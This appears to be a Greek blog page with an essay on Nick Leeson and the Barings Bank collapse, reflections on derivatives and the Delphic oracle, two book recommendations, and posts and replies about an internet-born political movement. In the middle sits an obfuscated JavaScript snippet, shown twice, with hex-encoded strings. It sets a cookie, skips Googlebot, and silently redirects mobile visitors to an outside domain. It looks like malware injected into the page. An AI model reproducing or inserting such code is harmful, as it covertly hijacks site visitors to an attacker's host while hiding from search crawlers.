Η έλλειψη επίβλεψης στον 28χρονο Nick Leeson τον βοήθησε να ξεκινήσει χωρίς έγκριση κερδοσκοπικές συναλλαγές με ΣΜΕ στον Nikkei 225 και σε ομόλογα του Ιαπωνικού Κράτους. Ως γνωστόν, τα ΣΜΕ είναι στοιχήματα για το πάνω ή κάτω της αγοράς, έχουν μεγάλο δείκτη μόχλευσης (leverage) – «παίζεις» για κέρδος των 100 μονάδων έχοντας κεφάλαιο μόλις 10-20% αυτών – και υπάρχει η πιθανότητα να απολαύσεις φανταστικά κέρδη ή δυσβάσταχτες απώλειες. Ακριβώς αντίθετα από τη δουλειά που η Barings έστειλε τον Leeson να κάνει στη Σινγκαπούρη…

Η δουλειά γινόταν από τον μυστικό λογαρισμό 88888…

Έχανε χρήματα από το ξεκίνημα. Αύξησε τα στοιχήματά του και στο τέλος του 1992, ο λογαριασμός 88888 έγραφε £2 εκ. ζημιές. Ένα χρόνο μετά £23 εκ. και στο τέλος του 1994 £208 εκ… Οι επικεφαλείς στο Λονδίνο δεν είχαν ιδέα… Ως χρηματιστής, ο Nick Leeson, είχε μάλλον κακή τύχη…
Στα μέσα Φεβρουαρίου 1995 είχε ανοίξει μια τρομακτική θέση:
– 50% των ανοικτών θέσεων στο ΣΜΕ του Nikkei 225
– 85% των ανοικτών θέσεων στα ΣΜΕ των Γιαπωνέζικων κρατικών ομολόγων [JGB (Japanese Government Bond)]
Προφανώς, η αγορά το γνώριζε και έπαιζε εναντίον του… Στοιχημάτισε στην ανάκαμψη του Γιαπωνέζικου Χρηματιστηρίου και γνώρισε απίστευτες ζημιές όσο αυτό συνέχιζε να πέφτει…

Τον Ιανουάριο του 1995, ένας δυνατός σεισμός οδήγησε τον Nikkei 225 1000 μονάδες κάτω και μαζί του την Barings… Ο Leeson, ενεργώντας σαν άπειρος χρηματιστής, συνέχιζε να αγοράζει συμβόλαια με την ελπίδα να ξανακερδίσει όσα είχε ήδη χάσει, τη στιγμή που ακόμα και οι καλύτεροι σπεκουλαδόροι καταλαβαίνουν το λάθος τους…

Από την άλλη, ο Leeson για να μην προκαλέσει υποψίες στο Λονδίνο με τις κινήσεις του λογαριασμού 88888, έγραφε ανύπαρκτα κέρδη σε άλλους λογαριασμούς. Το 1994, «ανακάλυψε» £29 εκ. και συνέχιζε να πλασάρεται ως ένας από τους καλύtερους χρηματιστές της Barings και να εισπράττει bonus!!!
Οι απολαβές του τότε, εκτός από το μισθό των £50,000 ετησίως, ήταν μηνιαίο ενοίκιο των $9,000 και bonus £130,000 που του επέτρεπαν να έχει και πλούσια κοινωνική ζωή με την σύζυγό του.

Μετά από μια σειρά από ψέμματα και πλαστογραφήσεις εγγράφων, ο Leeson με τη σύζυγό του πήραν το αεροπλάνο για την Κουάλα Λαμπούρ (Μαλαισία). Τότε, τα κεντρικά του Λονδίνου ανακάλυψαν το πρόβλημα. Η ζημιά έπιασε τα £827 εκ. ή $1.4 δις. Τον Φεβρουάριο του 1995, η αρχαιότερη βρετανική τράπεζα δεν κατάφερε να κλείσει το margin call του SIMEX… και δήλωσε πτώχευση…

Στις 3 Μαρτίου 1995 ο Leeson και η σύζυγός συνελήφθησαν στην Φρανκφούρτη και εκείνη τη μέρα η Ολλανδική τράπεζα ING αγόρασε την Barings για £1!!!! Αναγνωρίζοντας βέβαια όλα τα χρέη της…

Ο Nick Leeson δικάστηκε στην Σινγκαπούρη και καταδικάστηκε για απάτη σε 6 1/2 χρόνια, όπου του διαγνώστηκε καρκίνος. Επέζησε του καρκίνου εντός της φυλακής και έγραψε την αυτοβιογραφία του (“Rogue Trader”) όπου απαρίθμησε τις ενέργειές του στο σκάνδαλο. Αποφυλακίστηκε λόγω καλής διαγωγής τον Ιούλιο του 1999.

Οι απώλειες που δημιούργησε ο Leeson οφείλονται σε χρηματιστηριακό τζόγο, καθώς οι αγοροπωλησίες του ήταν βασισμένες στα συναισθήματα του για την κίνηση του δείκτη παρά σε «υπολογισμένο ρίσκο» (calculated risk). Μετά την κατάρρευση της τράπεζας, ξεκίνησε μια συζήτηση για την χρήση των παραγώγων προϊόντων. Σημειώνω, ως προσωπική άποψη, ότι η χρήση τους για αντιστάθμιση κινδύνου (hedging) και ελαχιστοποίηση του ρίσκου των χρηματοικονομκών επενδύσεων είναι ενδεδειγμένη.

Εδώ και αρκετά χρόνια λοιπόν , έχουμε περάσει χρηματιστηριακά στην εποχή όπου η εξασφάλιση από τον κίνδυνο συμπίπτει με το αυξημένο ρίσκο για περισσότερα κέρδη. Να λοιπόν το δίλημμα : να χρησιμοποιήσω τα παράγωγα για αμυντικούς λόγους ; ή για να επιτεθώ και να κατακτήσω τον κόσμο;

Προσωπικά πιστεύω πως θα συμβεί κι αυτό κάποτε. Δηλαδή κάποιος μεγαλοεπενδυτής θα ποντάρει – μάλλον αποσπασματικά για να καλύψει τα ίχνη του- ένα τεράστιο ποσόν σε παράγωγα και η μόχλευση που θα προκύψει δεν θα μπορεί να καλυφθεί ούτε από τον προϋπολογισμό των μεγαλύτερων οικονομιών. Σας φαίνεται όνειρο; Σας φαίνεται εφιάλτης; Λέτε να ξυπνήσετε ένα πρωί και να ακούσετε στις ειδήσεις ότι ο πλανήτης εξαγοράστηκε από το Νο 4 των δισεκατομμυριούχων του Forbes που έπαιξε όλα τα χρήματά του στην περαιτέρω πτώση του δολαρίου; Όλα είναι πιθανά σήμερα.

Ας αφήσουμε όμως αυτήν την ακραία πιθανότητα και να πάμε στην πραγματικότητα. Οι αγορές έχουν αφηνιάσει. Πλέον αγοράζονται και πωλούνται τα πάντα. Τα παράγωγα που είναι ένα δυναμικό οικονομικό εργαλείο , που ευθύνονται για μεγάλο μέρος των οικονομικών κρίσεων και των πολύπλοκων οικονομικών παιχνιδιών που οδηγούν κάποιους σε πτωχεύσεις , φαίνεται πως έχουν στραφεί να αγοράσουν ακόμα κι αυτό που δεν πουλιέται, δηλαδή το μέλλον.

Η πρόβλεψη ουσιαστικά στρέφεται στο μέλλον. Ποιος όμως κατάφερε να πουλήσει πρώτος προϊόντα πρόβλεψης στην ιστορία των λαών ; Απάντηση: Οι Έλληνες. Η αρχαία Ελλάδα είχε ενσωματώσει στον πολιτισμό της τα μαντεία. Άνθρωποι από όλο τον τότε γνωστό κόσμο ξεκινούσαν από πολύ μακριά για να λάβουν ένα χρησμό από το μαντείο των Δελφών. Σήμερα οι Έλληνες έχουν αφήσει το θέμα των προβλέψεων σε αστρολόγους , καφεμάντισσες και διάφορες άλλες γραφικές ομάδες ανθρώπων.

Το μαντείο των Δελφών ήταν ο πρώτος τουριστικός προορισμός σε μια εποχή που κανείς δεν γνώριζε τι θα πει τουρισμός. Σήμερα ο τουρισμός είναι βασική οικονομική δραστηριότητα για πολλά κράτη, συχνά όμως χωρίς άλλο περιεχόμενο πέραν του θαυμασμού αξιοθέατων.

Ο Ιουλιανός μπορεί να προσπάθησε να αναβιώσει τα μαντεία εν μέσω βίαιης ανόδου του Χριστιανισμού όμως δεν κατάφερε να είναι κάτι περισσότερο από ένα μοναχικό αηδόνι που δεν φέρνει την Άνοιξη. Ο Άγγελος Σικελιανός αντιθέτως σε μια εποχή που η αρχαιολατρεία συμβάδιζε με την εθνικιστική συσπείρωση της χώρας , αν δοκίμαζε στα πλαίσια της Δελφικής Ιδέας και των Δελφικών εορτών να λειτουργήσει και κάποιου είδους μαντείο… (πως το εννοώ αυτό το μαντείο ; τι ακριβώς θέλω να πω; ) Λοιπόν οι ιερείς του 5ου και του 4ου π.χ. αιώνα δεν ήταν μάγοι. Ήταν ευφυείς άνθρωποι που προσπαθούσαν να προσεγγίσουν με ρεαλισμό το πρόβλημα του κάθε ενός που ερχόταν να ρωτήσει τον Απόλλωνα σχετικά με το μέλλον του. Καθυστερούσαν λοιπόν την απάντηση συλλέγοντας πληροφορίες για τον ενδιαφερόμενο ή σε πιο δύσκολες περιπτώσεις ( όταν δεν μπορούσαν να έχουν πληροφόρηση) έδιναν αμφίσημους χρησμούς -διφορούμενους.

Αν λοιπόν ο Σικελιανός είχε καταφέρει να αναπαραστήσει με κάποιο τρόπο και την μαντική τέχνη , αλλά με μια σημαντική λεπτομέρεια : να πληρώνει αμοιβή ο επισκέπτης , τότε αυτή και μόνο η λεπτομέρεια θα χρηματοδοτούσε τους Δελφικούς αγώνες για πάντα. Δεν θα χρειαζόταν κρατική ή άλλη ιδιωτική χρηματοδότηση για να επαναλαμβάνονται κάθε χρόνο οι Δελφικές γιορτές.

Το σημαντικό όμως είναι ότι εκεί θα μπορούσε να αναγεννηθεί ένα μοναδικό τουριστικό προϊόν : να το πω προβλέψεις ; να το πω χρησμοί; Εκεί λοιπόν βρίσκεται ακόμη και σήμερα το μυστικό για μια αβίαστη ροή πλούτου στη χώρα -χωρίς σεζόν -για 12 μήνες το χρόνο.

Τα χρηματιστήρια θα συνεχίσουν να κυβερνούν τον κόσμο . Η απληστία θα σπρώχνει συνεχώς τους ανθρώπους να αναζητήσουν νέους τρόπους πρόβλεψης για να μεγιστοποιήσουν τα κέρδη τους , ή έστω να εξασφαλίσουν τα κεκτημένα.

Όπως γνωρίζετε οι προβλέψεις στη χώρα μας θεωρούνται γραφικότητα.

Προτείνω λοιπόν δύο βιβλία :

Προβλέψεις

Προσεγγίζοντας επιστημονικά τα προμηνύματα του αύριο

Θεόδωρος Μόδης
μετάφραση: Δημήτρης Ευαγγελόπουλος
επιμέλεια: Πέτρος Δήτσας

Πανεπιστημιακές Εκδόσεις Κρήτης, 2005
340 σελ.
ISBN 960-7309-82-0, ISBN-13 978-960-7309-82-2, [Κυκλοφορεί]
Τιμή € 19,00
Το βιβλίο εντάσσεται σε ένα ρεύμα ιδεών που αναδύθηκαν τις δεκαετίες του ’70 και ’80, επιδιώκοντας να κάνουν επιστημονικότερη την πρόβλεψη κοινωνικών διαδικασιών με την εισαγωγή ποσοτικών εννοιών και μεθόδων. Xρησιμοποιώντας ως βασικό εργαλείο την περιγραφή της φυσιολογικής ανάπτυξης από την περίφημη σιγμοειδή καμπύλη, το βιβλίο μάς οδηγεί με πλήθος παραδείγματα να κατανοήσουμε ότι άκρως διαφορετικά φαινόμενα, όπως η εξέλιξη της αξιοποίησης των πρωταρχικών ενεργειακών πηγών, η διάδοση των κυριότερων θανατηφόρων ασθενειών, ο ανταγωνισμός ομοειδών προϊόντων στην αγορά, αλλά και η ανάπτυξη του δημιουργικού έργου διάσημων καλλιτεχνών και επιστημόνων ή οι «σταδιοδρομίες» διάσημων εγκληματιών, διέπονται από κοινούς νόμους ανάπτυξης, και συνεπώς, όταν γνωρίζουμε ένα επαρκές τμήμα της εξέλιξής τους, μπορούμε να προβλέψουμε την υπόλοιπη ιστορία τους. Ένα συναρπαστικό θέμα που εμφανίζεται για πρώτη φορά στην ελληνική βιβλιογραφία

THINKING

John Brockman

HarperCollins 2013

P: 425 , $11,72

About the Book

Unlock your mind

From the bestselling authors of Thinking, Fast and Slow; The Black Swan; and Stumbling on Happinesscomes a cutting-edge exploration of the mysteries of rational thought, decision-making, intuition, morality, willpower, problem-solving, prediction, forecasting, unconscious behavior, and beyond. Edited by John Brockman, publisher of Edge.org («The world’s smartest website»—The Guardian), Thinking presents original ideas by today’s leading psychologists, neuroscientists, and philosophers who are radically expanding our understanding of human thought.

Daniel Kahneman on the power (and pitfalls) of human intuition and «unconscious» thinking • Daniel Gilbert on desire, prediction, and why getting what we want doesn’t always make us happy • Nassim Nicholas Taleb on the limitations of statistics in guiding decision-making • Vilayanur Ramachandran on the scientific underpinnings of human nature • Simon Baron-Cohen on the startling effects of testosterone on the brain • Daniel C. Dennett on decoding the architecture of the «normal» human mind • Sarah-Jayne Blakemore on mental disorders and the crucial developmental phase of adolescence • Jonathan Haidt, Sam Harris, and Roy Baumeister on the science of morality, ethics, and the emerging synthesis of evolutionary and biological thinking • Gerd Gigerenzer on rationality and what informs our choices

Το βιβλίο παρουσιάζει στο Βήμα της Κυριακής 16/2/2014 ο Τάσος Καφαντάρης.

Επίσης είναι ενδιαφέρον το άρθρο : “Η συμπεριφορά των επενδυτών και οι οικονομικές κρίσεις” από την Καθημερινή 28/6/2014 (Η ανορθολογική λήψη αποφάσεων κατά την διαχείριση κινδύνου σε συνθήκες αβεβαιότητας οφείλεται είτε σε λάθη που προέρχονται από συναισθήματα ή διαίσθηση , είτε σε λάθη λογικής.) του Κων/νου Λυμπερόπουλου καθηγητή Μάρκετινγκ του Πανεπιστημίου Αιγαίου.       

var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Το πολιτικό ίντερνετ.

 

Πολλές φορές αναρωτιέμαι με ποιο τρόπο θα μπορούσε να ξεπηδήσει μία πολιτική κίνηση από το διαδίκτυο. Πως θα μπορούσε να φτιαχτεί το πρώτο διαδικτυακό κόμμα.
Κάποτε οι επαναστάτες έπρεπε να αναζητηθούν ανάμεσα στους πεινασμένους. Εδώ (και εννοώ όχι μόνο αυτό το σάιτ) αναρωτιέμαι, ποιος είναι τρόπος ,για να πείσεις τους περισσότερους να ξεχάσουν για μιά στιγμή την καθημερινή εικόνα  που έχουν για το διαδίκτυο και να σηκώσουν για λίγο το βλέμμα.
Η αλήθεια είναι ότι υπάρχουν συνθήκες που σε άλλες φάσεις της ιστορίας έθρεψαν καινούρια κινήματα. Αυτό όμως που είναι πράγματι εντυπωσιακό «εδώ» είναι οι εγκατεστημένες συνήθειες ( συχνά και με registration ) επαναστατικών και πολιτικών ομάδων. Παράδειγμα : α) Κωδικοποιημένη γλώσσα όπως τα γκρικλις β) μυστικές συναντήσεις γ) ροή μηνυμάτων και ιδεολογικών τοποθετήσεων δ) ΟΛΟΙ ΕΧΟΥΜΕ ΨΕΥΔΩΝΥΜΑ ε) ενημέρωση και ανοιχτή και επί μέρους ζ) κυκλοφορία ντοκουμέντων , η) ανατρεπτική διάθεση που ξεπερνάει τα όρια του ενθουσιασμού , που εμφανίζεται καθημερινά
Νομίζω ότι κάποια στιγμή πρέπει να ανοίξει η συζήτηση για μία διαδικτυακή πολιτική κίνηση και φαίνεται πως αυτό δεν μπορεί να γίνει μόνο σε ένα σάιτ ή σε μία παρέα που υποστηρίζει κάποιες πολιτικές αντιλήψεις . Μάλλον πρέπει να υπάρξει συνειδητή συμμετοχή από διάφορα σάιτ που ηθελημένα ή μη είναι ήδη φυτώρια ιδεών και προσώπων.
Αν μπορούσαν οι πολιτικοί εκεί έξω να φανταστούν το πόσο εύκολα επικοινωνούμε , το πόσο καλά έχουμε γνωριστεί ενώ μεσολαβούν τέτοιες αποστάσεις , το πόσο αγανακτισμένοι είμαστε και πως όλο αυτό το ρευστό ιδεών και ανθρώπων κάποια στιγμή θα σπάσει το «φράγμα» και θα λειτουργήσει με χειμαρρώδη τρόπο, τότε κυριολεκτικά θα μας φοβόταν. Θα μας θεωρούσαν απειλή .
«Εδώ» το πρόσωπο και η ομάδα , οι ιδέες και η ατομική παρέμβαση του καθενός λειτουργούν χωρίς αντιπροσώπους. «Εδώ» η Δημοκρατία βρήκε την πριν από πολλούς αιώνες απολεσθείσα ψυχή της.
Πως μας βλέπουν; Οι πολιτικοί μας βλέπουν σαν ένα ακόμη χώρο όπως το ποδόσφαιρο , όπως η εκκλησία , όπως οι τηλεθεατές , για εύκολη άγρα ψήφων. Και να σκεφτείτε ότι : Πολλοί από αυτούς δεν ξέρουν να πατήσουν ούτε το enter , ξέρουν όμως να δώσουν εύκολα μια εντολή που θα πατήσει τη ζωή μας.
Όλα αυτά τι σημαίνουν ; Σημαίνουν ότι βρισκόμαστε ένα βήμα πιο μπροστά. Αυτό που εκείνοι θεωρούν οργάνωση για την επέκτασή τους , «εδώ» σε μας υπάρχει ήδη. Τα πράγματα είναι τόσο απλά. Να το ξαναπώ; Ένα mail μπορεί να μη αλλάξει τον κόσμο αλλά μπορεί να φέρει τις νέες δυνάμεις στον αγώνα για περισσότερη δημοκρατία με ανθρώπινο πρόσωπο.
Πιστεύω πως υπάρχουν δίπλα μας και τα πρόσωπα και η ικανότητα για να ξεπηδήσει ένας φρέσκος πολιτικός χώρος , με δύναμη και ιδέες για τον καινούριο κόσμο , που θέλουν να τον χτίσουν πάνω στα απαρχαιωμένα θεμέλια του φόβου, της δουλείας και του ματωμένου ιδρώτα των αποικιών τους.

 Ακολουθεί διάλογος:

Να ξεπηδήσει ένας νέος πολιτικός χώρος από που; Το web είναι απλά ένα «μέσο». Το αν υπάρχουν πρόσωπα με «δύναμη και ιδέες για τον καινούργιο κόσμο» είναι ανεξάρτητο από το μέσο το οποίο ενδέχεται να χρησιμοποιηθεί για να προβληθούν αυτές οι ιδέες. Το ότι κάποιοι έχουν την ικανότητα χειρισμού ενός μέσου, δεν τους καθιστά αυτόματα και πρόσωπα με δύναμη και ιδέες.
Άρα τι ψάχνεις; Αν έχουμε δύναμη και ιδέες για τον πολιτικό χώρο;

 Το πολιτικό ίντερνετ 2

Αγαπητοί φίλοι.
Οι άνθρωποι που θεωρούν το διαδίκτυο κομμάτι από τη ζωή τους δεν έχουν καμία σχέση μ’ αυτούς που το χρησιμοποιούν για τις δουλειές τους.
Αν ανοίγεις τα μέιλ σου τουλάχιστον μια φορά την ημέρα και αυτό δεν το κάνεις γιατί περιμένεις κάποια επαγγελματική πρόταση ,σημαίνει ότι οι φίλοι σου βρίσκονται εδώ. Αν πας διακοπές χωρίς το λαπτοπ σου και νοιώθεις ότι κάτι σου λείπει , τότε μάλλον το διαδίκτυο δεν είναι απλώς ένα τηλέφωνο με περισσότερες δυνατότητες … είναι ένας «χώρος» που ζούμε μέσα του .
Όταν μιλάω για μία διαδικτυακή πολιτική κίνηση ,μιλάω για τους ανθρώπους που «ζώντας εδώ» ,έχουν κάποιες άλλες προτεραιότητες ,κάποια άλλη ιδεολογία (στάση ζωής) , κάποιες άλλες ευαισθησίες και μπορούν να εκφράσουν μία καινούρια πολιτική άποψη γεννημένη από τις ανάγκες που προκύπτουν «εδώ μέσα».
Δεν θα ήθελα να βλέπω αυτό το δημοκρατικό να μέσον ,που τόση ελευθερία προσφέρει σήμερα στην ενημέρωση και στην κυκλοφορία ιδεών και πληροφορίας ,να γίνεται φερέφωνο συμφερόντων και επιδιώξεων όλων αυτών των ολοκληρωτικών ιδεολογημάτων που ξεπηδάνε καθημερινά στον κόσμο μας.
Αυτή είναι η εικόνα που έχω για μία καινούρια πολιτική (διαδικτυακή) κίνηση και πιστεύω πως η ευθύνη για τη δημιουργία της ανήκει αποκλειστικά στους ανθρώπους που «ζουν εδώ» .
Θα επανέλθω με θέσεις πάνω στο προφίλ του διαδικτυακού πολίτη.
( Οι παραπάνω σκέψεις γράφτηκαν για να ξυπηρετήσουν το διάλογο σε διάφορα φόρουμς σχετικά με το πολιτικό ίντερνετ. Είχα κάποιους ενδοιασμούς αν ισχύουν γι αυτό το διαδικτυακό χώρο που βρίθει επαγγελαμτιών του «μέσου». Όμως βλέπω συχνα στις δημοσιεύεις σας και στα μπλοκ σας να δημοσιεύετε λύσεις σε προβλήματα -που κοστίζουν σε χρόνο και χρήμα- δωρεάν.
Ένα άλλο θέμα που μου πρέκυψε σχετικά με το «ντοτνετζον.τζιαρ» (επηρεάστηκα απο το Ζαχαρία ) είναι αυτό το ερώτημα που θέτουν όλοι οι δημοσιογράφοι όταν επισκέπτονται λέσχες ατόμων με ψηλό «άι κιού» :γιατί απέχουν από την πολιτική και κατ επέκταση γιατί δεν «χρησιμοποιούν» την εξουσία που τους δίνει η ικανότητά τους ;
Τέλος σκέφτομαι μήπως η καθημερινή χρήση ενός τέτοιου «μέσου» -που αργά η γρήγορα θα γίνει πολιτικό εργαλείο -φέρνει τους προγραμματιστές πιό κοντά στο πολιτικό ίντερνετ.)

                         Ακομη ένας ομιλητής συμμετέχει στο διάλογο 

Χμμμμ … αν και απέχει πολύ απ’το πνεύμα του dotNetZone, το post σου φίλε alf είναι αν μη τι άλλο ενδιαφέρον και διαφορετικό 🙂

Για να θεωρήσεις οτι οποιοδήποτε «μέσο» έχει πολιτική υπόσταση, νομίζω (θεωρώ) ότι πρέπει να ικανοποιούνται κάποια .. προαπαιτούμενα:

1. Το «μέσο» πρέπει να είναι αρκετά διαδεδομένο .. να αποκτήσει αυτό που λένε critical mass.

